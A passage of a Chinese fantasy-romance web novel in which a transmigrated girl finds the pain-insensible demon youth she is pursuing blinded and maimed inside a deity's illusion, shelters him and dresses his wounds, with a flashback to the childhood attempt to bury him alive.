说话间,小糖突然坐到她床边,湿漉漉的乌发散落,她的肩膀紧挨着池镜花,一副神秘兮兮的模样回望着她。 “我跟你说件秘密,你可千万别到处乱传。” 一般情况下,当有人说出这句话的时候,这件事肯定早就传开了,池镜花最懂了。 但为了不拂对方面子,她还是表情认真地点了点头,再三保证自己一定会守口如瓶,若是不信,她可以写保证书。 小糖摆摆手一笑置之,“写什么保证书,不用这么麻烦,你别到处说就行,就算憋不住也只能告诉一个人。” 池镜花再次老实点头。 小糖抚着胸口松了口气,这才放心大胆地把憋在心底许多的秘密吐出。 “你听我说,好像有个不知羞的丫鬟趁夜偷偷爬上了世子的床。” 啊??? 池镜花彻底震惊得呆住了,只剩一双失了焦距的眼睛眨个不停。 她不知该用何言语去形容被人看见自己深夜出没奚逢秋住处这件事,但她没有“偷偷”,而是光明正大。 “是真的,有人亲眼看见了。” 疑似认为池镜花不相信自己,小糖只能拿出他人的亲眼所见作为证据,下一刻,她忽然跺了下脚,咬住唇瓣,双颊惹上羞涩的绯红。 “他们不仅从一张床上醒来,还、还、还亲上了!” 第70章 第70章预定好了结局。 夜凉如水,皓月当空。 空气中飘来的花香淡去许多,模糊的嫩芽枝影身姿摇曳地映在少女淡蓝色的衣间。 按照惯例,在小糖熟睡以后,池镜花方才出门,小心翼翼避开一切可能有人出没的地带,一路赶至奚逢秋的住所,却未立刻进去,而是驻足了会儿。 池镜花低着头,想到小糖跟自己说的话,不由以指腹轻轻抚摸过自己的唇瓣,仔细回想这些天发生的事情。 虽然睡梦里记忆模糊,但她其实并未感受到被他含住唇瓣时所产生的奇妙感觉,就算睡得再死,总归有所察觉,除非他只蜻蜓点水地掠过。 但都控制不住偷亲了,应该不会这么容易就满足了吧! 池镜花决定试探一下他。 进门时,她特意轻咳一声以示提醒,又绕过屏风,看见奚逢秋立在窗边。 夹杂着春日暖意的微风轻轻扬起他的墨发,被橙橘色的烛光萦绕,少年静静凝望窗外景色,不知道在想些什么,直到察觉有股熟悉的气息靠近,才微微偏过头,看着她露出温和的笑。 “真准时。” 她每天大致都在这个时间点登门,大抵是被他发现了这个小习惯。 池镜花默不作声地走到他身边,身后握住他的手腕,强硬地把人按在床上坐好,自己也爬上床,跪坐在他身前。 奚逢秋虽然喜欢由她主动亲近自己,可一进门就把他往床上塞的行为有些反常,有些不解地歪了歪脑袋,夺目的耳铛在她眼前轻晃。 “做什么?” “看你。” 池镜花答得很快,随后双手快速捧起他的面颊,慢慢倾身靠近,直到鼻尖贴着他的。 清风撩动床幔,彼此炽热的呼吸交缠。 四下寂静,只闻清香。 因为离得太近,池镜花仿佛听见彼此逐渐重叠的心跳声,她却轻轻抿唇,没有直接亲下去,而在观察他的反应。 沉默片刻,奚逢秋垂眸望她,眼底含着清润的笑,缓慢探出右手指尖。 起初,他不过轻轻按住她的唇瓣,指腹摩挲她红润的唇瓣,几经辗转,甚至欲以指尖撬开她的唇瓣,感受那片湿热。 池镜花却不想满足他,因她怕自己会控制不住想咬他。 她轻轻一扭头,柔软的乌发滑过颈侧,以实际行动拒绝了他。 少年微凉的指腹滑过她柔软的唇瓣,滑过她微微发热的脸颊,不经意留下自己的气息 。 虽如此,但从男配刚才的表现来看,他应当对亲吻这件事抱有期待,却不能证明他一定会偷偷亲她。 “你……” 池镜花直直地盯着他,不好意思地轻咬殷红如血的唇瓣,因过于好奇,实在没有耐心与他来回拉扯,只能打直球。 “有没有在我睡着的时候偷偷……亲我?” 话音刚落,池镜花自己都有些吓到了。 他们之间,虽说关系大有进步,可池镜花终究不清楚他对自己的感情,居然听信谣言觉得他会偷亲自己。 一定是太想攻略他,所以脑子混沌了! 少年勾住她耳侧垂下的一缕发丝,一圈圈地缠在自己的指尖,眼底不由浮出愉悦的笑。 “你希望我这么做吗?” “不是,不希望!” 既然要亲,那就光明正大地亲,偷亲有什么意思,她喜欢与他亲吻时的奇妙感觉,可这种感觉睡着可不会有。 “我就随便问问……” 问完了她才会深刻体会到谣言有多离谱。 “不过。” 像是突然想到什么,奚逢秋的五指慢慢覆上她的后颈,用了些力气让她离自己更近些,微微上扬的语调透露出诱人的哄。 “你可以亲我的。” “不了。” 池镜花不为所动,双手不动声色地抵着他的锁骨,轻轻地推开他,“我不会亲你的。” 既然亲吻不能增加好感度,那她实在不愿浪费力气做这种没有结果的事情,况且,每次都要她引导着他,作为新兵蛋子,这事实在累人。 “这样啊……” 他明摆着是要她亲他,不料反被拒绝,奚逢秋不羞不恼,只微微垂下长睫做思考状。 见他不再言语,池镜花想到今晚找他的另一个目的,眨了眨眼睛,一脸好奇地询问道:“对了对了,我听人说,明日,你的……父亲好像就要回府了,跟你有关吗?” “无关。” 他再度垂下眼眸,不知何时攀上的皎白月光静静洒落在他的眉睫,微微颤动的睫羽如振翅欲飞的黑蝶。 奚逢秋想起过去一些事。 虽然母亲总爱利用他让父亲回府,但自从被父亲发现她的意图后,这件事的成功率就极低,这次父亲回来,想来应该是母亲用了别的手段,可能以自身设下诱饵。 当然,这些于他而言没有任何意义。 不知从什么时候开始,他已感知不到任何,包括存在于他父母之间的病态拉扯。 转瞬间,他又露出个温温柔柔的笑。 “不过,最迟明日,应当就可以结束这个幻境了。” 池镜花半仰着头,眼底闪烁着疑惑的淡淡碎光,“明天,会发生什么事吗?” 他极轻地“嗯”了一声,看着纯良无害,慢慢伸手看向自己掌心,表情极为平静,但却无法忽视其内里透出的疯狂之意。 “十年前,是我第一次尝试杀人,就在这里。” ——不过让他逃了。 听他所言,池镜花不禁呼吸一滞。 倒也并非恐惧从他口中蹦出的“杀”这类字眼,而且不明白为何当年不到十岁的年纪,他为何要做这种事? 虽然他在王府备受折磨,但依池镜花所见,他当时应该尚未萌发杀人想法才对。 思考间,耳边刮过他轻柔的安抚之音,指尖也不由自主地抚摸着她的头发。 “别担心,只需要再做一遍就好。” 池镜花若有所思地点点头。 对他而言,这种事不过家常便饭,实在没什么可担心的,可她总觉得哪里奇怪,只是一时间还想不到哪里奇怪。 就这样,池镜花满含心事地睡去。 翌日清晨,当床幔若有似无地轻飘飘滑过她的侧脸,池镜花脸颊一阵发痒,迷迷糊糊地睁开双眼,扯了扯松松垮垮的衣裳,只见身旁空落落的。 ——应该是去忙自己的事情了吧。 池镜花起床气定神闲地给自己倒了杯水。 时间还早,她不着急出门,索性撑着脸观看窗外景色,试图理解昨夜奚逢秋究竟在看什么。 今日天气不是很好,天色阴沉沉的,有风雨欲来的影子,窗外的桃花已经凋零大半,远远地,已能看见小巧可爱的嫩芽冒出头来。 虽只是幻境,但一切好像都是真实发生的一般。 等等,真实发生? 就在此时,池镜花骤然间意识到什么。 傩神为了追求真实感,特地造出这个幻境,那就说明,奚逢秋今日遇到的事情也会是真的,那他今日要杀的就不该只是个幻影。 傩神黄衣女曾明确表明,她对他身上的部分过去很感兴趣,但有部分不大喜欢。 据池镜花每日登门了解,奚逢秋一直老实按照小时候经历的一切乖乖演绎出来,未曾有偏颇的地方,那就说明,这些是傩神所喜欢的,那她不喜欢的内容是什么? 既然不喜欢,按照常理,肯定是要改编剧本的。 可至今也未曾发现她要改变的细节,到底是哪里出错了? 池镜花一时想不明白,急得像只无头苍蝇,只能房间里来回焦急地踱步。 不多时,窗外送进一阵阴湿的风,将地上和桌上的指纸张刮得沙沙作响,有几张趁乱飞出窗外。 池镜花一个箭步冲到窗前,欲伸手去抓,不想还是让它们从指缝间滑走,却有几滴冰凉的雨珠落向指尖。 下雨了。 下雨了? 不知为何,池镜花倏忽想到他们在金德镇发生的事情。 也是这样一个雨天,当奚逢秋提着袁府管家的头颅找到自己时,别提多吓人了。 现在的一切条件都与当时十分相似,却令她有股强烈的违和感。 对了,是今天! 傩神不喜欢的内容是今日即将发生的事情。 当然,她也只是合理推测,但当务之急是赶紧找到奚逢秋,确认事实是否真如她所猜测的这般。 她在房里翻箱倒柜,找出把淡青色、伞把的尾部点缀这红流苏的油纸伞,推门而出。 豆大的雨水啪嗒啪嗒不停地砸向只想,在她耳边发出清脆的声响。 一切都令她心烦意乱。 她想找奚逢秋,可是四处都没有他的身影,倒还遇见几名相识之人,要她帮忙做事,似是府中有喜事,所以人手不够,不过她现在真的没有心情去管其他,只能道歉说有事要忙。 结果忙活一圈,愣是没找到人在哪。 最后,她只能冒着被发现自己就是谣言中的丫鬟去找消息灵通的小糖打听,得到的结果令她大吃一惊。 ——他被带出城了。 忽略小糖的迷之微笑,池镜花低头快速道了声“多谢”,赶紧撑伞离去。 雨下的又大又急,街上没几个行人。 池镜花一路找至城外,冰冷的春雨很快打湿她的头发和衣裙,随着眨眼的动作,睫毛便滑落一颗晶莹的雨珠。 城外是一片森林。 因下雨无日光,本就郁郁葱葱的森林更显幽暗。 当池镜花鼓起勇气穿梭在森林深处时,因方向感极差,根本找不到正确的路,随着穿梭在深林里的步伐越来越快,衣间飞溅上无数泥点子。 终于,经历一整个早上,在下午,她在森林深处的树下看见一人身影,却不是奚逢秋。 而是当日在袁府见到的管家。 比金德镇见到的要年轻点,他依旧驼着背,瞎了一只眼睛,样貌虽丑陋,但腿脚却是完好的,手执一柄滴着鲜血的长剑,而在他脚下,则零散着一些软弱无力、半埋进土中 的白丝。 奚逢秋就躺在那里,衣上盖着混着血迹的污泥,四肢血迹斑斑,连眼睛都淌着血,但却是笑着的。 ——不是他尝试杀人,而是傩神按照自己喜好,早已为他预定好了结局。 70-80 第71章 第71章我很害怕。 寒风簌簌,冰冷的春雨无情吞噬着刚冒出的暖意,哗啦啦地拍向地面,砸出一个又一个不起眼的泥坑。 当双眼被剑刃刺瞎,腿脚筋骨又被挑断,彻底地失去行动能力后,倒令奚逢秋回想起一些渺不足道的往事。 十年前,差不多也是同样的光景。 天气灰蒙蒙的,不到中午就开始下雨。 他安静地待在房间里剪纸人,把它们当成真人,与他们说话,操纵它们在自己指下欢快跳舞,以此来打发无聊平庸的时光。 直到,蓦然迎来一位素未谋面的男人。 男人依照母亲吩咐,将他带至城外,计划用泥土将他埋起来。 按照他们的说法,这叫做“活埋”,至于原因么…… 很显然,他已经没用了。 自父亲因他受伤而第一次回府,他便清楚地知道,自己是作为拴住父亲的锁链而出生的,母亲只是需要用他留住父亲,若这把锁链生了锈,那便毫无用处。 所以,母亲为无用的他选了个绝妙的死法——活埋。 当时,他是以怎样的情感面对这件事情的呢? 记不清了。 但应该挺听话的,就如同他一直在母亲面前所表现得那般乖巧,可是好像没什么用,渐渐地,连感知疼痛的能力都消失了。 不管母亲和旁人如何待他,他再也无法生出任何特别的情绪波动。 所以,在雨水如注倾泻而下的春天,当男人将他带至指定地点,为防止他逃跑,出其不意地一个转身,持剑伤了他的手脚筋骨。 汩汩鲜血顺着他的指尖和衣摆混进松软泥泞的土中,刹那间,潮湿的空气中弥漫着浓郁的血腥。 因失血过多,小奚逢秋面色苍白,湿漉漉的乌黑发丝如海草般丝贴着面颊,雨水划过脸颊,从下颌滴落,他跪在地上仰头望着高高在上的男人时,露出纯良天真的笑。 “你也要我喊疼吗?” 许是母亲总这样要求他,所以他自然而然地以为别人也会如此。 男人瞎着的一只眼睛始终闭着,粗眉蹙着,对他感知不到疼痛这件事表示生理性厌恶。 “真是恶心!” 男人长满黄色老茧的手轻抚上自己看不见的左眼,表情极为狰狞,“可为什么老天爷偏偏给你这么一副好皮囊!” 由于天生残疾样貌丑陋,男人的前半生犹如阴沟里的臭老鼠,为了生存,他只能出卖自己,似乎他生下来就该给身份尊贵的他们当牛做马。 可是凭什么! 难道就因为他又丑又瞎吗? 既然如此,那把别人变得跟他一样不就好了! 尤其当本该身份尊贵的王爷之子如丧家之犬匍匐在自己面前,潜藏在男人心底的恶意在春雨的浇灌下疯狂滋生,下一刻,抬手便毁了小奚逢秋的双眸。 望着少年眼角流下的猩红,男人突然体会到前所未有的快感,他仰着头,张开口,雨水砸进喉咙里,兴奋地抖动肩膀,哈哈大笑,边笑边向贬低对方。 “哈哈哈活该啊!真是活该!” 眼前陡然黑了下来,混着雨水的鲜血顺着他苍白的的脸颊滑过下颌滴进土中,小奚逢秋虽然毫无知觉,但明白自己是一定受了伤。 这个男人伤了他。 接下来,应该就是按照计划将土块往他身上堆,直到自己彻底没有呼吸。 如此,他便能回府向母亲邀功。 好可怜。 究竟是他可怜还是男人可怜,小奚逢秋实在不清楚,但他忽然冒出个念头。 ——杀了这个男人。 不再只用白丝操纵纸人,而是试试杀人的滋味,或许是否可以引起自己的一丁点儿情绪呢。 可他手脚皆废,实在没什么力气,他明白,倘若失败,就算自己死在也不过分。 可当指尖生出白丝的刹那,他直接冲着男人的心脏命门而去,可惜由于第一次尝试杀人,他实在过于生疏,只从男人的脸颊擦过,留下一道细长的伤口。 笑声戛然而止,风雨轰鸣,倾洒在树林深处。 男人这才明白自己面对的并非普通人而是未知的妖怪。 人类惧怕妖鬼是本能,求生的意志在他脑中狂乱地嘶吼,让他赶紧逃。 于是,顾不上其他,也顾不上王妃的指令,他调头就跑,却被探出的一缕白丝快准狠地截断右脚肢。 顿时,血沫横飞,男人吃痛地大叫一声,因站不稳差点栽进泥水坑里,勉强稳住身形后还在继续四处逃窜,真像只阴暗爬行的灰老鼠。 可小奚逢看不见,他眼前一片漆黑,也不大会杀人,所以最后让他逃了。 ——失败了。 虽然第一次杀人便以失败告终,不过,他确实从中找到一些乐趣。 做这种危险的事情,似乎很有意思。 包括杀人。 当这类想法深种心底以后,他开始不停在各地接各类悬赏令,金德镇只是其中一处,悬赏的任务大部分都很有意思,他也积攒到一些江湖经验。 所以,当他一进入幻境,便猜出幻境的运行机制。 当然,重演对他来说不难,可意外的是,幻境的结局竟和十年前不太一样。 当他试图杀死男人时,被压制住的力量成了绊脚石,而男人也没有逃走,而像是早就知道他的真身一般做好应对之策。 原来如此。 几乎一刹那,奚逢秋便已想明白这其中的逻辑。 男人并非他母亲派来的,而是傩神。 或者,更为准确地说,男人是傩神在幻境里的化身。 傩神单纯因为不喜欢他的这段过往,所以选择手动改写。 想要他死,这原本就不是什么新鲜事。 而且,他现在确实半死不活的。 饶是如此,他依旧感受不到任何痛处和存活的意义。 身为母亲的锁链,他无疑是不称职的。 非人非妖、没有痛觉、无情无欲。 没有价值的性命可有可无。 好像……就这样死去也不是不可以。 而且,若不是十年前意外,他早该死了。 他微笑着,欣然接受傩神为自己设立的结局。 只是不知为何,脑海中慢慢浮现出朝夕相对的少女那灿若朝阳的脸庞。 并非他骤然想到池镜花,而是,她的气息已然接近。 仅用片刻,这股气息便驱散了笼罩在他心底的不祥阴霾,无声侵入四肢百骸,逐步填补空洞的内心。 当池镜花毫不犹豫地靠近两人同框的画面,傩神的化身突然消失,她就这样闯进本没有她的剧情里。 撑着油纸伞的池镜花急匆匆向他赶去,少女双颊布满细密的雨珠,眼睛微微睁大,稍稍弯下腰伸出手。 红色的流苏晃过视线,她下意识将伞稍稍往他身旁倾斜,为他遮住一片落下的雨水,发丝坠着雨珠,浓卷的湿润睫羽在雨中颤个不停。 “奚逢秋,你没事吧?” 因双目失明,他看不见她,也不知她现在是何姿态,却能准确察觉到她的紧张,就连声音夹带着些许哭腔。 好奇怪。 她为何要落泪呢? 奚逢秋依旧温和地笑着,混着雨水的血污从他脸颊滑落,沾着鲜血的指尖微动,想要跟从前一样,给予她拙劣的轻抚。 可他抬不起手。 “我帮你。” 不知他要做什么的池镜花选择直接拉过他的手腕,将他搀扶起来。 不过由于两人身量上的差异,池镜花只能勉强将人扶至树下,让他借力倚靠树干。 幸好只是下雨没有打雷闪电,不然还真没地方可躲。 身下是绿草,她理所应当地坐在他身边,握住油纸伞,微微向他身边倾斜,帮他挡雨,自己的半边身子完全露于雨下。 “我好像没有告诉过你我在这里。” 她在何处,奚逢秋总会朝她所在的位置和方向看去,似乎已成为他的本能。 他“望”着少女,轻煮她身上传来的甜腻香味,失去血色的唇瓣一张一合,溢出的声音亦是温柔到极致。 “所以,你是怎么知道的?” 可恶。 都什么 时候了,难道还要试探她吗? 池镜花低头轻咬住泛白的唇瓣,盈在眼底泪光尚未完全消失,吐出的声音夹带显而易见的哭腔,同时断断续续的。 “我、我问人的,再说了,你在这里,我还能到、到哪去?” 在任务完成之前,除了待在他身边,她没有第二选择,也不想有别的选择。 少年微微偏了偏头,随着他的动作,仿佛于黑暗中窥见池镜花的轮廓和五官、以及她的骨骼的纹路和形状。 “不想问问我吗?” 池镜花双颊鼓起,像只生闷气的猫,握住油纸伞的纤细五指紧了紧。 “问什么?” 问他为何毫无求生欲? 问他为什么不喜欢自己? 问他现在伤口疼不疼? 不行,问这些没有任何意义,他也不会给自己想要的答案。 与其纠结这些,不如趁着此时此刻,在她内心某种情绪到达顶峰时,最为直观表达自己感受,此时此刻内心最真实的欲望。 下一秒,池镜花放下纸伞,向他靠近,张开双臂轻轻地抱住他,纤弱的身体在微微颤抖,情绪无法克制地外溢。 在看见他受伤濒死无力倒在血泊中时,池镜花的心脏瞬间被什么狠狠攥住,那一瞬间,她想到的不是任务失败该怎么办,而是难过,像是溺入水中窒息般的难过。 温热的身体瞬间冰凉,心跳一点点加速,呼吸间的气息仿佛可以轻而易举地将她灼伤。 她就撑着纸伞,失神地静静坐在那,脑海中闪过无数支离破碎的语言,最终汇成一句天地间最简单的话语。 此时此刻,正颤抖着从她喉咙里一字一句地蔓出。 “奚逢秋,我很害怕。” 无关攻略任务,她只是单纯地在乎他,不想他出事,想要让他活下去。 不管是言语还是行动,她都已经尝试过。 结果都不太理想。 除此以外,她不知道到底还要怎么做,才能唤醒他的求生欲。 第72章 第72章好紧。 冰凉的雨水如珠帘般砸向纸伞,发出一连串清脆的声响。 当听见池镜花颤抖地吐出“害怕”二字,奚逢秋本能欲回以安抚的拥抱,可他实在做不到,只能指尖微动,以一缕白丝轻轻地勾缠住她的右手腕。 少女脉搏的跳动自白丝传至他的指尖,令他心情又愉悦几分,微微上扬的温柔语调也昭示这点。 “别害怕。” 听他所言,池镜花简直哭笑不得。 看他这与之前毫无差别的态度,怕是根本就不知道她在害怕什么,她不怕别的,而是怕他生命消亡啊! 池镜花有种被气到却又不知该如何解释的无力感。 她索性不说话,重新执伞为他挡雨,直到雨势渐小,决心把他背出去。 以她的身高体重虽然勉强,但总不能让他的伤口一直泡在水里,这样也止不住血,只会让他愈发虚弱。 “雨停了,我带你出去。” 正当池镜花准备将他背起时,他仰头微微笑着“凝视”站在自己跟前的少女,漂亮的面庞沾着几处刺目的血迹,浅白色的衣裳几乎皆被血迹浸透。 “你还记得怎么出去吗?” 池镜花眼睫一颤,沉默住了。 方才,她为寻人像无头苍蝇一样在森林里乱窜,一着急,哪里还记得出去的路,就算要探索出路,最好也得等地干以后。 就在此时,一直缠绕她手腕处的白丝蓦然收紧,慢慢地,轻轻抬起她的手腕,给她指明个方向。 少年泠泠悦耳的嗓音与萧索风声一同轻扫过她的耳畔。 “这边,有座废弃的屋子。” 不怎么认识路的池镜花抿了抿唇,心里已然接受他的提议。 “我背你。” 压根不给他拒绝的权利,池镜花直接把人扛在背上,吃力地将他背起。 奚逢秋没有说什么。 鲜红的血从少年的手腕伤口滑至指尖,滴在她的衣裙上,很快,衣上便血迹斑斑。 少女的甜腻和他的血腥逐渐融为一体。 池镜花莫名想起一些往事。 因县城的初中离老家太远,初中以后,池镜花寄宿在学校,不想等到国庆回家,她养的狗突然不见了。 没人知道小狗去哪了,她沿着田埂找了许久,一无所获,有人说可能是被偷狗贼盗走了,可她养的小咕体型很小,应当不在偷狗贼的目标范围内。 她不清楚,但她没狗了。 很久以后,她才知道,原来,小狗在察觉在生命不多的时候,为了不给主人添麻烦会找个地方等死。 所以,她猜想自己的小狗应是在不为人知的角落孤独地离开人世。 可她什么也做不到。 后来,等到寒假回家,奶奶过世了。 在那之前,她总是害怕死人,若是村里有谁过世,她恨不得把自己焊死在被窝里,直到她亲眼看到躺在冰棺里的奶奶,第一次觉得死人也会如此亲切。 因为青春期好面子,她不愿在那么多人面前落泪,便拼命忍住泪水,而其他人有说有笑,因为奶奶是八十多岁高寿去世,算白喜事。 接着,一向身体健朗的爷爷也因奶奶的去世一蹶不振,连一年时间也没撑到,于次年十一月去世。 那段时间,她好像一直在往火葬场跑,因为在前年,她就因亲戚的意外离世去过一次。 从那以后,她就格外在意死亡,也畏惧在意的人离去。 就算生活再破烂,也还是活着比较好。 所以,她绝对不想奚逢秋去死。 思考间,她只觉得后颈传来一阵冰冷的凉意。 是奚逢秋不由自主地将自己的侧脸紧紧贴上她的肌肤,如雨后逢甘露般疯狂汲取她身体的暖意。 池镜花不禁打了个冷颤,牙齿轻咬,极力克制快要溢出的声音,干脆任由他怎么高兴怎么来。 但他似乎只是单纯地想要与她肌肤相贴,感受她的存在,与她气息缠绕,没有做多余的事。 雨停后开始起风,猎猎寒风卷动二人交叠的衣袂。 在他偶尔一句话的指引,不多时,池镜花便看见一座立在森林深处的竹屋。 里面没人,还挺干净的。 池镜花探头四处张望,“确定这里没人住吗?” 奚逢秋微微点了点头,“暂时应该不会有人再来。” 在奚逢秋的记忆里,这里是男人在过去的其中一个住处,他既然逃了,那短期时间内不会应不会再回来。 池镜花稍作思考,也点了点头。 “好吧,那我们就借住一阵子。” 她利落地把木床上的被褥全部掀开,将受伤的奚逢秋轻轻扶上床。 少年无力靠在床头,微微侧着头,垂下的苍白指尖还在滴着血,在地板上形成一滩鲜红的血迹,脸色几近透明。 池镜花弯下腰,盯着他阖上的双眸,在他面前轻轻地晃了晃五指。 男人在奚逢秋眼瞳留下剑伤虽指使他失明,不过对于少女的气息倒一清二楚,包括她的一举一动。 对于少女缭乱而靠近的气息,他已猜到她在做什么,不由弯了弯没什么血色的唇,喉间溢出一声轻笑。 “你在试探我吗?” “才不是!” 池镜花发誓自己绝对没有他那种爱试探人的恶趣味,只单纯地想要确认他目前的身体状况。 屋檐滴落下晶莹雨珠砸向地面,发出的细微响动充斥着整间狭小的屋子。 池镜花心脏猛地颤了一下,脑海已自动浮现出他的蓝紫色眼睛。 “我就是想看看你的……眼睛。” “没关系,会好的。” 身为妖物,只要不是眼球被挖,任何形式的伤害都有机会恢复。 奚逢不在意这些伤口,只是当眼前骤然黑了下来,正如十年前那般,只是稍微有些不适应。 “只 是需要一些时间。” 池镜花听懂他的意思,立即道:“那需我用白绫帮你覆上吗?” 奚逢秋乖巧地轻轻点头应了声,“也好。” 得到他的应允,池镜花跑去翻箱倒柜,找出一截白绫,还有一套干净的衣裳,以及一些包扎用的绷带。 她准备用白绫将他的暂时失明的双眼缠上,如此能够避免阳光直射,应该会好得快些。 “我上床了。” 她刻意出声提醒一句,说罢便爬上床,小心翼翼地替他双眼覆上白绫,过程中,竟意外想起在金德镇袁府发生的事情。 她记得当时奚逢秋以指腹缓慢描摹着管家的眼眶,轻声说了句“好黑”。 应该有点怕黑。 难道说,他怕黑是因为小时候被伤过眼睛吗? 那么问题又来了——十年前,他眼睛被伤后是如何生活的? 正当她想得入神时,坐在她身前的少年似感知到什么,顿时,被雨打湿的躯体微微一颤,呼吸急促一瞬,几滴雨水顺势从他发间滚落,混进地面的鲜血中。 “好紧。” 声音缠绵又暧昧,如一阵温暖的风,轻缓地拂过池镜花的面颊。 不知想到什么,她耳尖飞上一抹惹眼的绯红,低眼一瞧,才反应过来他说得是白绫系得太紧。 真的太容易让人误会了! 池镜花心虚地不敢抬眼瞧他,“哦……哦,对不起,我帮你稍微松点。” 当她的指尖甫一触碰到他脑后的白绫,耳廓忽然传来一声极轻的笑,顺着耳蜗,似在与她脉搏共振。 池镜花虽然羞耻心爆棚,但同时大为不解。 笑什么? 总不能是窥探到她内心的想法了吧? 还是说,是白绫系得太紧,让他高兴了? 比起要依靠读心术这类金手指才能达成的前者,还是后者更靠谱。 他还真是……病得不轻! “好了,系好了。” 池镜花淡定地跪坐在他身侧,默默顺好心跳,决定不予理会。 转动脑袋朝她所在的方向看去,微微笑着,十分礼貌地道了声“多谢”。 池镜花却并不领情。 谢什么谢啊! 要真想谢她就多点求生欲,再不济涨点好感度也行啊! 她心里生闷气,直接扭过头不去看他,一言不发地湿透的外衣全部褪下丢在地上。 反正她穿得多,也不在乎这一两件。 而且,他也看不见。 沉默几秒,池镜花忍不住回过头,视线从他苍白的面颊缓慢下移,最终落在他手腕处那触目惊心的伤口。 意识尚未反应过来,身体已做出选择,她毫不犹豫探出五指,轻轻握住他的手腕,想要替他包扎伤口。 了解对方意图的奚逢秋不禁歪了歪脑袋,当耳铛划过颈侧,带出一滴水珠时,神情不免有些困惑。 “不生气了吗?” 池镜花惊讶地睁大眼睛,不由眨了几下。 “你知道我在生气?” 少年轻“嗯”一声,“你的气息乱了。” 或许因为双目失明,他的其他感官更加敏锐,所以,即使池镜花什么也不说,他也能清晰察觉到她流露出的情绪。 “知道就好。” 即使坦然承认,池镜花也并未松手,反而握得更紧,嘴上说着生气,心里却在心疼他所遭遇的一切。 此时此刻,“口是心非”在具象化了。 “反正我现在心情确实不大好。” 奚逢秋歪着脑袋思考几秒,得出个显而易见的结论。 “是因为我吗?” 池镜花盯着他的伤口,点了点头,无所谓似的“嗯”了一下。 “为什么?” 他心里潜藏着太多疑问,不单单是因为她的身份和来历,而是她有时做的很多事情都超乎他的预料,他完全不明白为何会这样。 “你方才好像还为我哭了,为何?” 很好。 被他知道了。 池镜花本不想哭的,奈何当时画面的冲击力太大,心脏猛地一缩,泪水一下子没止住,到现在眼眶眼眶还红红的。 但她不想说。 好丢脸啊。 下一秒,在他问出更多问题之前,池镜花双手交叠,狠狠地按在他的伤口处。 伤口溢出的鲜血很快染红她的掌心和指尖。 在她的用力按压下,少年表皮下露出的筋骨与她血肉相连,令他兴奋地仰起头,抑制不住地闷哼一声。 当然,也成功制止他一连串的问题。 “如果你想要更舒服的话,就别再问为什么。” 第73章 第73章要不要我帮你换衣服呀?…… 屋檐落下的雨珠重重砸向青砖石上,“啪嗒”一声,击碎水中模糊的倒影。 四周只闻屋外传来破碎的雨滴声。 自粗暴地按住他的伤口让他闭嘴以后,池镜花仿佛听见自己那快要越出胸腔的心跳声,一下下在她脑子里瞎蹦跶,差点没砸晕她。 不过,奚逢秋确实听话地没再说话,而是唇角愉悦地微微扬起。 分明双目失明还覆上白绫,可池镜花总有种他的视线始终黏在自己身上的错觉。 她倾身蓦然靠近半分,落下的发丝垂上他的衣间,在鼻尖离他仅有一指之隔时,仔仔细细地将他从头到尾观察一番。 当奚逢秋敏感地察觉到少女的呼吸间的炽热气息倾洒游走在他脸颊,不知怎地,竟对藏在齿下的湿热萌生出几分期待。 “要亲吗?” 他的声音又轻又慢,每一个音节都潜着无数的不确定和试探。 池镜花抓着他的衣裳,十指不由攥紧,指间的衣服瞬间皱成一团。 她咬了咬牙,坚定回道:“不亲!” 不是,他到底怎么回事? 不就离得近了一些,怎么老以为她要亲他? ……换个角度想,他内心是否也渴望自己亲他呢? 不行,就算他想,池镜花也不想亲他。 至少现在不行。 而且,他都伤成这样了,哪是做这种事情的时候? 还是做正经事要紧。 “我来帮你包扎伤口。” 语毕,池镜花毫不犹豫地抓住他的手腕,用沾了水的布巾轻轻为他擦拭伤口溢出的鲜血。 当她轻握住他的手腕,将其轻轻抬起,布巾甫一接触到他的伤口,少年指尖一颤,脉搏心率无意识地加快一瞬。 池镜花下意识地松了松指尖,抬头望他,却因他双目被毁瞧不出别的,只能看见他在笑。 “我没有碰到你的伤口,这样也会疼吗?” “不疼,只有你碰我时,才能让我感受到痛楚。” 他看似冷静地阐述这一事实,可微微蜷曲的指尖却出卖了他此时此刻正处于难以自抑的兴奋状态中。 “只是……好像不太一样。” ——有种说不上来的愉快。 什么不太一样? 为什么不太一样? 哪里不太一样? 又没碰到他。 池镜花困惑地眨了两下眼睛,实在难以理解他的脑回路,低头无奈地轻轻叹气。 “那你忍着点,很快就好了。” 奚逢秋轻轻应了一声,面上看着平静温和。 雨后湿润的空气里氤氲着淡淡血雾,逐渐模糊四周一切。 池镜花低着头,以布巾认真为他擦拭伤口周围的血迹,却看见他手腕的伤口比以往任何一次都要深,隐约可见血肉下埋藏着的筋骨。 她不由心下一痛。 虽然他可能不觉得有什么,但奇怪的是,池镜花可以 清晰地感受到施加在心脏的剧痛,连呼出的气息都灼人心神。 池镜花抑制不住靠近的念头,擅自再次以指尖轻轻地覆上他的血肉,亦不敢太用力。 熟悉又陌生的痛觉漫上伤口,少年十分不解地微微偏过头。 “为何突然要碰我?” 池镜花抿着唇,斟酌几秒,黑瞳微转,察觉出他短而急的呼吸,亮眸弯如月牙,故意与他打了个哑谜,意在逗趣。 “因为我想扰乱你的气息!” 她的声音听着很是轻快。 奚逢秋弯了弯唇轻笑一声,指尖一颤,一缕几近透明的白丝缓慢靠近她的指尖,继而轻轻勾缠住她的小指,乖巧地点了点头。 “嗯,我很高兴。” 冰凉触到指尖时,池镜花忍不住蜷缩一下,下一刻,听见他的话语,诧异地慢慢睁大眼睛。 是了,她本就打算让他高兴点。 难得的是,奚逢秋居然唯一一次听懂了她的弦外之音! 莫不是眼睛失明,脑袋反而开窍了? 思考间,池镜花忽然意识到缠着她小指的白丝紧了紧,并未弄疼她,只有一道夹杂着疑惑的询问降临她耳畔。 “怎么不继续了?伤口还没包扎好,不是吗?” 池镜花抬眸望他,不满地撇撇嘴,心里其实门清儿。 他什么时候这么在乎自己的伤势了,分明就是想让她碰他,却还要用包扎伤口这类借口。 如果可以,池镜花想让他亲口说出自己的渴望,可如果要与他拉扯,必定浪费不少时间,总不能一直放任伤口不管。 她无声地叹口气,决定先替他处理伤口好了。 不止受伤的手脚,他衣上其实血迹斑驳,与雨水融合,顺着衣摆滴在地面。 在为他包扎伤口的过程中,池镜花已尽量故意避开他受伤的血肉,不再让他感知到疼痛的愉快,除非…… 除非他亲口说需要自己触碰他! 